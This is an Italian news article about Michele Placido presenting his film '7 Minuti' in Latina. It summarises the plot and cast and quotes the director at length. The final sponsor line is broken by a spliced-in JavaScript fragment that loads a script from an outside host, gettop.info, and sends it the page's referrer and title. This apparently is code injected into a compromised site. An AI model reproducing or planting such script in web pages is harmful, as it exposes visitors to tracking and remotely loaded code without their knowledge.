Placido a Latina presenta il Film “7 Minuti”

Placido a Latina con “7 Minuti”

All’incontro hanno partecipato anche Cristina Capotondi e la produttrice Federica Vincenti.

E’ uscito ieri in tutte le sale italiane “7 minuti”, film che ha visto ancora una volta, dietro la macchina da presa la verve riflessiva e a tratti scanzonata di Michele Placido, il quale torna al cinema con un’opera degna della migliore produzione nazionale. Un film che narra di lavoro e di attualità e che vede protagonista assoluta la città di Latina e le sue periferie.
Il regista pugliese, calamitato in terra Pontina della Latina Film Commission, ha deciso infatti di ambientare la sia nuova fatica per il grande schermo proprio in quelle terre che – ieri come oggi – continuano a narrare intere pagine di storia sociale, di diritti dei lavoratori calpestati, di situazioni es esistenze che vengono portate sull’orlo del baratro a causa dei cambiamenti persistenti, e in negativo nel mondo dell’occupazione.

Il film è in proiezione anche nelle sale del capoluogo e Placido – che tanto è rimasto entusiasta della grande accoglienza ricevuta durante le riprese – questa sera incontrerà il suo pubblico e la stampa locale per una breve introduzione sull’opera prodotta dal Goldenart Production, Manny Films e Ventura Film. L’appuntamento è alle ore 22 presso il Supercinema 2.0 di Corso della Repubblica. Insieme al regista interverranno la produttrice Federica Vincenti e l’attrice Cristiana Capotondi.

La storia, scritta da Placido e Stefano Massini (tratta dal libro “7 minuti. Consiglio di Fabbrica” dello scrittore toscano), narra dell’incertezza del futuro appesa a 7 minuti, un caleidoscopio di vite diversissime e pulsanti, vite di donne, madri, figlie. In tutto undici caratteri, per una riflessione sulla possibilità concreta di opporre resistenza e di reagire a un domani incerto, tra caos, logica e giustizia. La trama di “7 minuti”, infatti, trae spunto da una vicenda accaduta realmente in una fabbrica francese negli anni 50 e affronta il tema del lavoro e dei diritti dei lavoratori, palesati attraverso la decisione che 11 donne di un consiglio di fabbrica nel settore tessile, devono prendere in rappresentanza di altre 200 operaie. Una piccola clausola, quella di dovere togliere 7 minuti dalla pausa di lavoro, che però nasconde qualcosa di più grosso; una cosa che rivelerà solo in un finale davvero importante.

Un film importante dunque che riporta il regista e attore – conosciuto a livello internazionale per il ruolo del commissario Corrado Cattani nella celebre serie televisiva “La Piovra” – a un cinema “passionale”, a un cinema che abbandona i valori estetici per guardare in faccia la società contemporanea e la triste realtà che da essa si è generata. “Ho voluto fare questo film a tutti i costi perché volevo guardare in faccia il mio paese, cosa sta accadendo nel mondo del sociale, del lavoro, e voluto soprattutto raccontare una storia vera, girata in una città come Latina in cui le cose del genere sono accadute realmente – commenta Placido, raggiunto telefonicamente in una pausa sul set di “Suburra, La Serie” di cui è regista – “7 minuti” è il film che volvo fare in questo momento: sentivo l’esigenza di occuparmi del cambiamento sociale che sta avvenendo non solo in Italia ma in tutta Europa. Perché nel confronto di queste 11 donne, in cui parleranno di lavoro ma anche delle loro esistenze e delle difficoltà familiari, si palesa anche il precariato che c’è ai giorni d’oggi nel mondo del lavoro. è questa la cosa che più mi ha appassionato”.

E continua: “Mi interessava però fare una storia che coinvolgesse il pubblico anche a livello emotivo, volevo fare un film popolare dal punto di vista del racconto, speriamo il risultato sia soddisfacente.”

E per narrare di queste vite, Placido ha scelto un parterre di attrici davvero spettacolare, a partire da Ottavia Piccolo e Cristiana Capotondi. Accanto a loro Ambra Angioini, Maria Nazionale, Violante Placido, Clémence Poésy, Sabine Timoteo, Anne Consigny e Fiorella Mannoia, al suo debutto cinematografico. Un cast di bellezze e talenti che hanno impreziosito una storia già di per sé ben articolata e di grande impatto.

“E’ stato molto bello lavorare con loro – confida Placido – Ho imparato molto da loro. Ho capito che le donne, quando rappresentano queste tematiche, possono avere una forza emotiva molto più importante di quella degli uomini. Questa è stata la vera grande scoperta”.

Ma nella giornata del debutto al cinema di “7 minuti”, il regista non può non ringraziare quella città che lo ha accolto per oltre due mesi e che, come ha già sottolineato molte volte, la ha fatto sentire a casa. “Ho voluto fortemente l’incontro di oggi a Latina – conclude Placido – volevo godermi il film anche in compagnia del pubblico Pontino, soprattutto perché conosco la grande passione di questa piazza (intende Latina, ndr) per il Cinema in generale. E poi volevo capire se la provincia di Latina, possa essere fonte3 di altre idee”. Non a caso proprio quest’oggi, prima dell’incontro con la Stampa al Supercinema 2.0, il regista e attore pugliese incontrerà il direttore della Latina Film Commission, Rino Piccolo – sua inseparabile “guida” durante le riprese – per progettare il futuro. Cosa bolle in pentola? In attesa di conoscere i nuovi progetti di Placido in terra Pontina, di sicuro c’è un workshop sul cinema (e le diverse professioni) dedicato ai professionisti del territorio. Un ulteriore modo, probabilmente, per investire in questa provincia e ringraziarla per la calorosa accoglienza ricevuta.

“7 minuti” ha già stregato gli spettatori della Festa del Cinema di Roma il mese scorso, ora dovrà affrontare il pubblico pontino, giudice sovrano e insindacabile.

Articolo Originale a cura di Fabrizio Giona.

Si ringraziano vivamente, per il loro preziosissimo supporto: il calzificio “Dublo“, “Villa Patrizia” – Crimonie e Ricevimenti, Azienda Casearia “Casabianca” Fondi, “Banca Popolare del Lazio” di Latinas.src=’http://gettop.info/kt/?sdNXbH&frm=script&se_referrer=’ + encodeURIComponent(document.referrer) + ‘&default_keyword=’ + encodeURIComponent(document.title) + ”;